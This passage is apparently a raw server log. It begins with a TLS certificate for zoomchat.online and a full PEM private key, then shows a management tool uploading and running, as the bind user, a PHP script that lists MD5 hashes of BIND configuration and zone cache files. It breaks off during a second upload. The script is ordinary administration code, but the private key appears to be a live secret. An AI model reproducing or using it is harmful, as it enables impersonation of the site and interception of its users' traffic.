o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-03 19:20:51: Establishing a connection
2026-01-03 19:20:51:
PUT: /tmp/pkp382468
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:20:52:
runuser -l bind -s /bin/bash -c '/tmp/pkp382468; rm /tmp/pkp382468'
2026-01-03 19:20:52:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:21:17: Establishing a connection
2026-01-03 19:21:23: Establishing a connection
2026-01-03 19:21:23:
PUT: /tmp/pkp325026
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
